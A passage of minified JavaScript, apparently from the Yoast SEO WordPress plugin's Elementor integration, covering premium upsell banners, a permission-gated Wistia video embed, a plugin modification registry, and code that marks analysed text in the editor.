(0,m.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,m.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,m.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")],oe=({premiumLink:e,premiumUpsellConfig:t,isPromotionActive:s})=>{const r=s("black-friday-2024-promotion");return(0,c.createElement)(h.Paper,{as:"div",className:"xl:yst-max-w-3xl"},r&&(0,c.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,c.createElement)("div",null,(0,m.__)("30% OFF","wordpress-seo")),(0,c.createElement)("div",null,(0,m.__)("BLACK FRIDAY","wordpress-seo"))),(0,c.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,c.createElement)(h.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,m.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,m.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,c.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-ps-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},ae().map(((e,t)=>(0,c.createElement)("li",{key:`upsell-benefit-${t}`},(0,u.createInterpolateElement)(e,{strong:(0,c.createElement)("span",{className:"yst-font-semibold"})}))))),(0,c.createElement)(h.Button,{as:"a",variant:"upsell",size:"extra-large",href:e,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...t},r?(0,m.__)("Claim your 30% off now!","wordpress-seo"):(0,m.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,m.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,c.createElement)(U,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};oe.propTypes={premiumLink:y().string.isRequired,premiumUpsellConfig:y().object,isPromotionActive:y().func},oe.defaultProps={premiumUpsellConfig:{},isPromotionActive:R.noop},y().string.isRequired,y().object.isRequired,y().string.isRequired,y().func.isRequired,c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),y().bool.isRequired,y().func,y().func,y().string.isRequired,y().string.isRequired,y().string.isRequired,y().string.isRequired;const ie=window.yoast.reactHelmet,le="idle",ce="loading",de="showPlay",pe="askPermission",ue="isPlaying",me=({videoId:e,thumbnail:t,wistiaEmbedPermission:s})=>{const[r,n]=(0,u.useState)(s.value?ue:de),a=(0,u.useCallback)((()=>n(ue)),[n]),o=(0,u.useCallback)((()=>{s.value?a():n(pe)}),[s.value,a,n]),i=(0,u.useCallback)((()=>n(de)),[n]),l=(0,u.useCallback)((()=>{s.set(!0),a()}),[s.set,a]);return(0,c.createElement)(c.Fragment,null,s.value&&(0,c.createElement)(ie.Helmet,null,(0,c.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,c.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},r===de&&(0,c.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:o},(0,c.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...t})),r===pe&&(0,c.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,c.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},s.status===ce&&(0,c.createElement)(h.Spinner,null),s.status!==ce&&(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,m.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,c.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,c.createElement)(h.Button,{type:"button",variant:"secondary",onClick:i,disabled:s.status===ce},(0,m.__)("Deny","wordpress-seo")),(0,c.createElement)(h.Button,{type:"button",variant:"primary",onClick:l,disabled:s.status===ce},(0,m.__)("Allow","wordpress-seo")))),s.value&&r===ue&&(0,c.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-right-0"},null===e&&(0,c.createElement)(h.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==e&&(0,c.createElement)("div",{className:`wistia_embed wistia_async_${e} videoFoam=true`}))))};me.propTypes={videoId:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired};const he="yoast-seo/editor",ge=()=>{const e=(0,i.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-learn-more")),[]),t=(0,i.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell")),[]),s=(0,i.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell-woo-seo-premium-bundle")),[]),r=(0,i.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell-woo-seo")),[]),n=(0,i.useSelect)((e=>e(he).getIsPremium()),[]),a=(0,i.useSelect)((e=>e(he).getIsWooSeoActive()),[]),o=(0,i.useSelect)((e=>e(he).getIsWooCommerceActive()),[]),l=(0,i.useSelect)((e=>e(he).getIsProduct()),[]),d=(0,i.useSelect)((e=>e(he).getIsProductTerm()),[]),p={upsellLink:t};if(o&&l&&(p.title=(0,m.__)("Generate product titles & descriptions with AI!","wordpress-seo"),p.isProductCopy=!0),o&&(l||d)){const e=(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium, %2$s expands to Yoast WooCommerce SEO. */
(0,m.__)("%1$s + %2$s","wordpress-seo"),"Yoast SEO Premium","Yoast WooCommerce SEO");p.newToText=(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium and Yoast WooCommerce SEO. */
(0,m.__)("New in %1$s","wordpress-seo"),e),n?(p.upsellLabel=(0,m.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast WooCommerce SEO"),p.upsellLink=r):a||(p.upsellLabel=`${(0,m.sprintf)(/* translators: %1$s expands to Woo Premium bundle. */
(0,m.__)("Unlock with the %1$s","wordpress-seo"),"Woo Premium bundle")}*`,p.bundleNote=(0,c.createElement)("div",{className:"yst-text-xs yst-text-slate-500 yst-mt-2"},`*${e}`),p.upsellLink=s)}const h=(0,i.useSelect)((e=>e(he).selectImageLink("ai-generator-preview.png")),[]),g=(0,u.useMemo)((()=>({src:h,width:"432",height:"244"})),[h]),y=(0,i.useSelect)((e=>e(he).selectWistiaEmbedPermissionValue()),[]),f=(0,i.useSelect)((e=>e(he).selectWistiaEmbedPermissionStatus()),[]),{setWistiaEmbedPermission:w}=(0,i.useDispatch)(he),E=(0,u.useMemo)((()=>({value:y,status:f,set:w})),[y,f,w]);return(0,c.createElement)(b,{learnMoreLink:e,thumbnail:g,wistiaEmbedPermission:E,...p})},ye=({fieldId:e})=>{const[t,,,s,r]=(0,h.useToggleState)(!1),n=(0,u.useCallback)((()=>{s()}),[s]),a=(0,u.useRef)(null);return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("button",{type:"button",id:`yst-replacevar__use-ai-button__${e}`,className:"yst-replacevar__use-ai-button-upsell",onClick:n},(0,m.__)("Use AI","wordpress-seo")),(0,c.createElement)(h.Modal,{className:"yst-introduction-modal",isOpen:t,onClose:r,initialFocus:a},(0,c.createElement)(h.Modal.Panel,{className:"yst-max-w-lg yst-p-0 yst-rounded-3xl"},(0,c.createElement)(ge,{onClose:r,focusElementRef:a}))))};ye.propTypes={fieldId:y().string.isRequired};const fe="yoast-seo/editor",we=window.yoast.analysis;function be(){}const Ee=window.yoast.externals.redux;function _e(e){return e.sort(((e,t)=>e._identifier.localeCompare(t._identifier)))}function ve(){return(0,R.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1})}function ke(){const e=ve();return(0,R.get)(e,"contentLocale","en_US")}function xe(){const e=ve();return!0===(0,R.get)(e,"contentAnalysisActive",!1)}function Se(){const e=ve();return!0===(0,R.get)(e,"keywordAnalysisActive",!1)}function Te(){const e=ve();return!0===(0,R.get)(e,"inclusiveLanguageAnalysisActive",!1)}const Re=window.yoast.featureFlag;class Ce{constructor(e){this.refresh=e,this.loaded=!1,this.preloadThreshold=3e3,this.plugins={},this.modifications={},this._registerPlugin=this._registerPlugin.bind(this),this._ready=this._ready.bind(this),this._reloaded=this._reloaded.bind(this),this._registerModification=this._registerModification.bind(this),this._registerAssessment=this._registerAssessment.bind(this),this._applyModifications=this._applyModifications.bind(this),setTimeout(this._pollLoadingPlugins.bind(this),1500)}_registerPlugin(e,t){return(0,R.isString)(e)?(0,R.isUndefined)(t)||(0,R.isObject)(t)?!1===this._validateUniqueness(e)?(console.error("Failed to register plugin. Plugin with name "+e+" already exists"),!1):(this.plugins[e]=t,!0):(console.error("Failed to register plugin "+e+". Expected parameters `options` to be a object."),!1):(console.error("Failed to register plugin. Expected parameter `pluginName` to be a string."),!1)}_ready(e){return(0,R.isString)(e)?(0,R.isUndefined)(this.plugins[e])?(console.error("Failed to modify status for plugin "+e+". The plugin was not properly registered."),!1):(this.plugins[e].status="ready",!0):(console.error("Failed to modify status for plugin "+e+". Expected parameter `pluginName` to be a string."),!1)}_reloaded(e){return(0,R.isString)(e)?(0,R.isUndefined)(this.plugins[e])?(console.error("Failed to reload Content Analysis for plugin "+e+". The plugin was not properly registered."),!1):(this.refresh(),!0):(console.error("Failed to reload Content Analysis for "+e+". Expected parameter `pluginName` to be a string."),!1)}_registerModification(e,t,s,r){if(!(0,R.isString)(e))return console.error("Failed to register modification for plugin "+s+". Expected parameter `modification` to be a string."),!1;if(!(0,R.isFunction)(t))return console.error("Failed to register modification for plugin "+s+". Expected parameter `callable` to be a function."),!1;if(!(0,R.isString)(s))return console.error("Failed to register modification for plugin "+s+". Expected parameter `pluginName` to be a string."),!1;if(!1===this._validateOrigin(s))return console.error("Failed to register modification for plugin "+s+". The integration has not finished loading yet."),!1;const n={callable:t,origin:s,priority:(0,R.isNumber)(r)?r:10};return(0,R.isUndefined)(this.modifications[e])&&(this.modifications[e]=[]),this.modifications[e].push(n),!0}_registerAssessment(e,t,s,r){return(0,R.isString)(t)?(0,R.isObject)(s)?(0,R.isString)(r)?(t=r+"-"+t,e.addAssessment(t,s),!0):(console.error("Failed to register assessment for plugin "+r+". Expected parameter `pluginName` to be a string."),!1):(console.error("Failed to register assessment for plugin "+r+". Expected parameter `assessment` to be a function."),!1):(console.error("Failed to register test for plugin "+r+". Expected parameter `name` to be a string."),!1)}_applyModifications(e,t,s){let r=this.modifications[e];return!(0,R.isArray)(r)||r.length<1||(r=this._stripIllegalModifications(r),r.sort(((e,t)=>e.priority-t.priority)),(0,R.forEach)(r,(function(r){const n=r.callable(t,s);typeof n==typeof t?t=n:console.error("Modification with name "+e+" performed by plugin with name "+r.origin+" was ignored because the data that was returned by it was of a different type than the data we had passed it.")}))),t}_pollLoadingPlugins(e){e=(0,R.isUndefined)(e)?0:e,!0===this._allReady()?(this.loaded=!0,this.refresh()):e>=this.preloadThreshold?(this._pollTimeExceeded(),this.loaded=!0,this.refresh()):(e+=50,setTimeout(this._pollLoadingPlugins.bind(this,e),50))}_allReady(){return(0,R.reduce)(this.plugins,(function(e,t){return e&&"ready"===t.status}),!0)}_pollTimeExceeded(){(0,R.forEach)(this.plugins,(function(e,t){(0,R.isUndefined)(e.options)||"ready"===e.options.status||(console.error("Error: Plugin "+t+". did not finish loading in time."),delete this.plugins[t])}))}_stripIllegalModifications(e){return(0,R.forEach)(e,((t,s)=>{!1===this._validateOrigin(t.origin)&&delete e[s]})),e}_validateOrigin(e){return"ready"===this.plugins[e].status}_validateUniqueness(e){return(0,R.isUndefined)(this.plugins[e])}}let Ie=null;const Pe=()=>{if(null===Ie){const e=(0,i.dispatch)("yoast-seo/editor").runAnalysis;Ie=window.YoastSEO.app&&window.YoastSEO.app.pluggable?window.YoastSEO.app.pluggable:new Ce(e)}return Ie},Le=e=>Pe()._ready(e),Ae=e=>Pe()._reloaded(e),Oe=(e,t,s,r)=>Pe()._registerModification(e,t,s,r),Fe=(e,t)=>Pe()._registerPlugin(e,t),De=(e,t,s)=>Pe().loaded?Pe()._applyModifications(e,t,s):t,Me="yoastmark";function Ne(e,t){return e._properties.position.startOffset>t.length||e._properties.position.endOffset>t.length}function qe(e,t,s){const r=e.dom;let n=e.getContent();if(n=we.markers.removeMarks(n),(0,R.isEmpty)(s))return void e.setContent(n);n=s[0].hasPosition()?function(e,t){if(!t)return"";for(let s=(e=(0,R.orderBy)(e,(e=>e._properties.position.startOffset),["asc"])).length-1;s>=0;s--){const r=e[s];Ne(r,t)||(t=r.applyWithPosition(t))}return t}(s,n):function(e,t,s,r){const{fieldsToMark:n,selectedHTML:a}=we.languageProcessing.getFieldsToMark(s,r);return(0,R.forEach)(s,(function(t){"acf_content"!==e.id&&(t._properties.marked=we.languageProcessing.normalizeHTML(t._properties.marked),t._properties.original=we.languageProcessing.normalizeHTML(t._properties.original)),n.length>0?a.forEach((e=>{const s=t.applyWithReplace(e);r=r.replace(e,s)})):r=t.applyWithReplace(r)})),r}(e,0,s,n),e.setContent(n),function(e){let t=e.getContent();t=t.replace(new RegExp("<yoastmark.+?>","g"),"").replace(new RegExp("</yoastmark>","g"),""),e.setContent(t)}(e);const a=r.select(Me);(0,R.forEach)(a,(function(e){e.setAttribute("data-mce-bogus","1")}))}function Ue(e){return window.test=e,qe.bind(null,e)}R.noop,R.noop,R.noop;const Be="content";function We(e){if("undefined"==typeof tinyMCE||void 0===tinyMCE.editors||0===tinyMCE.editors.length)return!1;const t=tinyMCE.get(e);return null!==t&&!t.isHidden()}window.wp.annotations;const Ye=function(e){return(0,R.uniq)((0,R.flatten)(e.map((e=>{if(!(0,R.isUndefined)(e.getFieldsToMark()))return e.getFieldsToMark()}))))},Ke=window.wp.richText,je=/(<([a-z]|\/)[^<>]+>)/gi,{htmlEntitiesRegex:ze}=we.helpers.htmlEntities,He=e=>{let t=0;return(0,R.forEachRight)(e,(e=>{const[s]=e;let r=s.length;/^<\/?br/.test(s)&&(r-=1),t+=r})),t},Ve="<yoastmark class='yoast-text-mark'>",Ge="</yoastmark>",Ze='<yoastmark class="yoast-text-mark">';function Qe(e,t,s,r,n){const a=r.clientId,o=(0,Ke.create)({html:e,multilineTag:s.multilineTag,multilineWrapperTag:s.multilineWrapperTag}).text;return(0,R.flatMap)(n,(s=>{let n;return n=s.hasBlockPosition&&s.hasBlockPosition()?function(e,t,s,r,n){if(t===e.getBlockClientId()){let t=e.getBlockPositionStart(),a=e.getBlockPositionEnd();if(e.isMarkForFirstBlockSection()){const e=((e,t,s)=>{const r="yoast/faq-block"===s?'<strong class="schema-faq-question">':'<strong class="schema-how-to-step-name">';return{blockStartOffset:e-=r.length,blockEndOffset:t-=r.length}})(t,a,s);t=e.blockStartOffset,a=e.blockEndOffset}if(r.slice(t,a)===n.slice(t,a))return[{startOffset:t,endOffset:a}];const o=((e,t,s)=>{const r=s.slice(0,e),n=s.slice(0,t),a=((e,t,s,r)=>{const n=[...e.matchAll(je)];s-=He(n);const a=[...t.matchAll(je)];return{blockStartOffset:s,blockEndOffset:r-=He(a)}})(r,n,e,t),o=((e,t,s,r)=>{let n=[...e.matchAll(ze)];return(0,R.forEachRight)(n,(e=>{const[,t]=e;s-=t.length})),n=[...t.matchAll(ze)],(0,R.forEachRight)(n,(e=>{const[,t]=e;r-=t.length})),{blockStartOffset:s,blockEndOffset:r}})(r,n,e=a.blockStartOffset,t=a.blockEndOffset);return{blockStartOffset:e=o.blockStartOffset,blockEndOffset:t=o.blockEndOffset}})(t,a,r);return[{startOffset:o.blockStartOffset,endOffset:o.blockEndOffset}]}return[]}(s,a,r.name,e,o):function(e,t){const s=t.getOriginal().replace(/(<([^>]+)>)/gi,""),r=t.getMarked().replace(/(<(?!\/?yoastmark)[^>]+>)/gi,""),n=function(e,t,s=!0){const r=[];if(0===e.length)return r;let n,a=0;for(s||(t=t.toLowerCase(),e=e.toLowerCase());(n=e.indexOf(t,a))>-1;)r.push(n),a=n+t.length;return r}(e,s);if(0===n.length)return[];const a=function(e){let t=e.indexOf(Ve);const s=t>=0;s||(t=e.indexOf(Ze));let r=null;const n=[];for(;t>=0;){if(r=(e=s?e.replace(Ve,""):e.replace(Ze,"")).indexOf(Ge),r<t)return[];e=e.replace(Ge,""),n.push({startOffset:t,endOffset:r}),t=s?e.indexOf(Ve):e.indexOf(Ze),r=null}return n}(r),o=[];return a.forEach((e=>{n.forEach((r=>{const n=r+e.startOffset;let a=r+e.endOffset;0===e.startOffset&&e.endOffset===t.getOriginal().length&&(a=r+s.length),o.push({startOffset:n,endOffset:a})}))})),o}(o,s),n?n.map((e=>({...e,block:a,richTextIdentifier:t}))):[]}))}const Xe=e=>e[0].toUpperCase()+e.slice(1),Je=(e,t,s,r,n)=>(e=e.map((e=>{const a=`${e.id}-${n[0]}`,o=`${e.id}-${n[1]}`,i=Xe(n[0]),l=Xe(n[1]),c=e[`json${i}`],d=e[`json${l}`],{marksForFirstSection:p,marksForSecondSection:u}=((e,t)=>({marksForFirstSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&e.isMarkForFirstBlockSection():e)),marksForSecondSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&!e.isMarkForFirstBlockSection():e))}))(t,e),m=Qe(c,a,s,r,p),h=Qe(d,o,s,r,u);return m.concat(h)})),(0,R.flattenDeep)(e)),et="yoast";let tt=[];const st={"core/paragraph":[{key:"content"}],"core/list":[{key:"values",multilineTag:"li",multilineWrapperTag:["ul","ol"]}],"core/list-item":[{key:"content"}],"core/heading":[{key:"content"}],"core/audio":[{key:"caption"}],"core/embed":[{key:"caption"}],"core/gallery":[{key:"caption"}],"core/image":[{key:"caption"}],"core/table":[{key:"caption"}],"core/video":[{key:"caption"}],"yoast/faq-block":[{key:"questions"}],"yoast/how-to-block":[{key:"steps"},{key:"jsonDescription"}]};function rt(){const e=tt.shift();e&&((0,i.dispatch)("core/annotations").__experimentalAddAnnotation(e),nt())}function nt(){(0,R.isFunction)(window.requestIdleCallback)?window.requestIdleCallback(rt,{timeout:1e3}):setTimeout(rt,150)}const at=(e,t)=>{return(0,R.flatMap)((s=e.name,st.hasOwnProperty(s)?st[s]:[]),(s=>"yoast/faq-block"===e.name?((e,t,s)=>{const r=t.attributes[e.key];return 0===r.length?[]:Je(r,s,e,t,["question","answer"])})(s,e,t):"yoast/how-to-block"===e.name?((e,t,s)=>{const r=t.attributes[e.key];if(r&&0===r.length)return[];const n=[];return"steps"===e.key&&n.push(Je(r,s,e,t,["name","text"])),"jsonDescription"===e.key&&(s=s.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?!e.getBlockAttributeId():e)),n.push(Qe(r,"description",e,t,s))),(0,R.flattenDeep)(n)})(s,e,t):function(e,t,s){const r=e.key,n=((e,t)=>{const s=e.attributes[t];return"string"==typeof s?s:(s||"").toString()})(t,r);return Qe(n,r,e,t,s)}(s,e,t)));var s};function ot(e,t){return(0,R.flatMap)(e,(e=>{const s=function(e){return e.innerBlocks.length>0}(e)?ot(e.innerBlocks,t):[];return at(e,t).concat(s)}))}function it(e){tt=[],(0,i.dispatch)("core/annotations").__experimentalRemoveAnnotationsBySource(et);const t=Ye(e);if(0===e.length)return;let s=(0,i.select)("core/block-editor").getBlocks();var r;t.length>0&&(s=s.filter((e=>t.some((t=>"core/"+t===e.name))))),r=ot(s,e),tt=r.map((e=>({blockClientId:e.block,source:et,richTextIdentifier:e.richTextIdentifier,range:{start:e.startOffset,end:e.endOffset}}))),nt()}function lt(e,t){let s;We(Be)&&((0,R.isUndefined)(s)&&(s=Ue(tinyMCE.get(Be))),s(e,t)),(0,i.select)("core/block-editor")&&(0,R.isFunction)((0,i.select)("core/block-editor").getBlocks)&&(0,i.select)("core/annotations")&&(0,R.isFunction)((0,i.dispatch)("core/annotations").__experimentalAddAnnotation)&&(function(e,t){tinyMCE.editors.map((e=>Ue(e))).forEach((s=>s(e,t)))}(e,t),it(t)),(0,l.doAction)("yoast.analysis.applyMarks",t)}function ct(){const e=(0,i.select)("yoast-seo/editor").isMarkingAvailable(),t=(0,i.select)("yoast-seo/editor").getMarkerPauseStatus();return!e||t?R.noop:lt}const dt=(0,R.debounce)((async function(e,t){const{text:s,...r}=t,n=new we.Paper(s,r);try{const t=await e.analyze(n),{seo:s,readability:r,inclusiveLanguage:a}=t.result;if(s){const e=s[""];e.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(n,e.marks)})),e.results=_e(e.results),(0,i.dispatch)("yoast-seo/editor").setSeoResultsForKeyword(n.getKeyword(),e.results),(0,i.dispatch)("yoast-seo/editor").setOverallSeoScore(e.score,n.getKeyword())}r&&(r.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(n,e.marks)})),r.results=_e(r.results),(0,i.dispatch)("yoast-seo/editor").setReadabilityResults(r.results),(0,i.dispatch)("yoast-seo/editor").setOverallReadabilityScore(r.score)),a&&(a.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(n,e.marks)})),a.results=_e(a.results),(0,i.dispatch)("yoast-seo/editor").setInclusiveLanguageResults(a.results),(0,i.dispatch)("yoast-seo/editor").setOverallInclusiveLanguageScore(a.score)),(0,l.doAction)("yoast.analysis.run",t,{paper:n})}catch(e){}}),500);function pt(){const{getAnalysisData:e,getEditorDataTitle:t,getIsFrontPage:s}=(0,i.select)("yoast-seo/editor");let r=e();r={...r,textTitle:t(),isFrontPage:s()};const n=function(e){return e.title=De("data_page_title",e.title),e.title=De("title",e.title),e.description=De("data_meta_desc",e.description),e.text=De("content",e.text),e}(r);return(0,l.applyFilters)("yoast.analysis.data",n)}const ut=()=>{const{getContentLocale:e}=(0,i.select)("yoast-seo/editor"),t=((...e)=>()=>e.map((e=>e())))(e,pt),s=(()=>{const{setEstimatedReadingTime:e,setFleschReadingEase:t,setTextLength:s}=(0,i.dispatch)("yoast-seo/editor"),r=(0,R.get)(window,"YoastSEO.analysis.worker.runResearch",R.noop);return()=>{const n=we.Paper.parse(pt());r("readingTime",n).then((t=>e(t.result))),r("getFleschReadingScore",n).then((e=>{e.result&&t(e.result)})),r("wordCountInText",n).then((e=>s(e.result)))}})();return setTimeout(s,1500),((e,t)=>{let s=e();return()=>{const r=e();(0,R.isEqual)(r,s)||(s=r,t((0,R.clone)(r)))}})(t,s)},mt=window.yoast.styledComponents;var ht=s.n(mt);const gt=window.yoast.externals.contexts,yt=({theme:e,location:t,children:s})=>(0,c.createElement)(gt.LocationProvider,{value:t},(0,c.createElement)(mt.ThemeProvider,{theme:e},s));yt.propTypes={theme:y().object.isRequired,location:y().oneOf(["sidebar","metabox","modal"]).isRequired,children:y().element.isRequired};const ft=yt,wt=[];let bt=null;class Et extends u.Component{constructor(e){super(e),this.state={registeredComponents:[]}}registerComponent(e,t){this.setState({registeredComponents:[...this.state.registeredComponents,{key:e,Component:t}]})}render(){return this.state.registeredComponents.map((({Component:e,key:t})=>(0,c.createElement)(e,{key:t})))}}function _t(e,t){null===bt||null===bt.current?wt.push({key:e,Component:t}):bt.current.registerComponent(e,t)}const vt=()=>!0;class kt extends $e.modules.hookUI.Base{constructor(e,t,s,r=vt){super(),this.command=e,this.id=t,this.callback=s,this.conditions=r}getCommand(){return this.command}getId(){return this.id}getConditions(...e){return this.conditions(...e)}apply(...e){return this.callback(...e)}}class xt extends $e.modules.hookData.Base{constructor(e,t,s,r=vt){super(),this.command=e,this.id=t,this.callback=s,this.conditions=r.bind(this)}getCommand(){return this.command}getId(){return this.id}getConditions(...e){return this.conditions(...e)}apply(...e){return this.callback(...e)}}function St(e,t,s,r=vt){return $e.hooks.registerUIAfter(new kt(e,t,s,r))}function Tt(e,t,s,r=vt){return $e.hooks.registerUIBefore(new kt(e,t,s,r))}function Rt(e,t,s,r=vt){return $e.hooks.registerDataAfter(new xt(e,t,s,r))}const Ct=e=>{return parseInt(null===(t=document.getElementById("post_ID"))||void 0===t?void 0:t.value,10)===e;var t},It=()=>{var e;return Ct(null===(e=elementor.documents.getCurrent())||void 0===e?void 0:e.id)},Pt=["yoast_wpseo_linkdex","yoast_wpseo_content_score","yoast_wpseo_inclusive_language_score","yoast_wpseo_words_for_linking","yoast_wpseo_estimated-reading-time-minutes"],Lt=["yoast_wpseo_focuskeywords","hidden_wpseo_focuskeywords"],At=e=>{let t="";e&&(t=(0,m.sprintf)(/* translators: %1$s translates to the Post Label in singular form */
(0,m.__)("Unfortunately we cannot save changes to your SEO settings while you are working on a draft of an already-published %1$s. If you want to save your SEO changes, make sure to click 'Update', or wait to make your SEO changes until you are ready to update the %1$s.","wordpress-seo"),wpseoAdminL10n.postTypeNameSingular.toLowerCase())),"draft"===elementor.settings.page.model.get("post_status")&&(t=""),(0,i.select)("yoast-seo/editor").getWarningMessage()!==t&&(0,i.dispatch)("yoast-seo/editor").setWarningMessage(t)},Ot=(e,t,s)=>null===t?null:(0,u.createPortal)(e,t,s),Ft=({id:e,children:t})=>{const s=(0,u.useRef)(document.getElementById(e)),[r,n]=(0,u.useState)((()=>Ot(t,s.current,e))),a=(0,u.useCallback)((()=>{const r=document.getElementById(e);r!==s.current&&(s.current=r,n(Ot(t,r,e)))}),[e,t]);return((e,t,s={childList:!0,subtree:!0})=>{(0,u.useEffect)((()=>{const r=new MutationObserver(t);return r.observe(e,s),()=>r.disconnect()}),[e,t])})(document.body,a),r},Dt=({error:e})=>{const t=(0,u.useCallback)((()=>{var e,t;return null===(e=window)||void 0===e||null===(t=e.location)||void 0===t?void 0:t.reload()}),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/elementor-error-support")),[]),r=(0,i.useSelect)((e=>e("yoast-seo/editor").getPreference("isRtl",!1)),[]);return(0,c.createElement)(h.Root,{context:{isRtl:r}},(0,c.createElement)(k,{error:e},(0,c.createElement)(k.VerticalButtons,{supportLink:s,handleRefreshClick:t})))};function Mt(){return(0,c.createElement)(h.ErrorBoundary,{FallbackComponent:Dt},(0,c.createElement)(p.Slot,{name:"YoastElementor"},(e=>{return void 0===(t=e).length?t:(0,R.flatten)(t).sort(((e,t)=>void 0===e.props.renderPriority?1:e.props.renderPriority-t.props.renderPriority));var t})))}Dt.propTypes={error:y().object.isRequired};const Nt=window.wp.compose,qt=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"}))})),Ut=window.wp.url;var $t=s(4530),Bt=s.n($t);const Wt=({className:e,...t})=>(0,c.createElement)("span",{className:Bt()("yst-grow yst-overflow-hidden yst-overflow-ellipsis yst-whitespace-nowrap yst-font-wp","yst-text-[#555] yst-text-base yst-leading-[normal] yst-subpixel-antialiased yst-text-start",e),...t});Wt.displayName="MetaboxButton.Text",Wt.propTypes={className:y().string},Wt.defaultProps={className:""};const Yt=({className:e,...t})=>(0,c.createElement)("button",{type:"button",className:Bt()("yst-flex yst-items-center yst-w-full yst-pt-4 yst-pb-4 yst-pe-4 yst-ps-6 yst-space-x-2 rtl:yst-space-x-reverse","yst-border-t yst-border-t-[rgb(0,0,0,0.2)] yst-rounded-none yst-transition-all hover:yst-bg-[#f0f0f0]","focus:yst-outline focus:yst-outline-[1px] focus:yst-outline-[color:#0066cd] focus:-yst-outline-offset-1 focus:yst-shadow-[0_0_3px_rgba(8,74,103,0.8)]",e),...t});Yt.propTypes={className:y().string},Yt.defaultProps={className:""},Yt.Text=Wt;const Kt=window.yoast.componentsNew,jt=e=>(0,c.createElement)("div",{className:"yoast components-panel__body"},(0,c.createElement)("h2",{className:"components-panel__body-title"},(0,c.createElement)("button",{id:e.id,onClick:e.onClick,className:"components-button 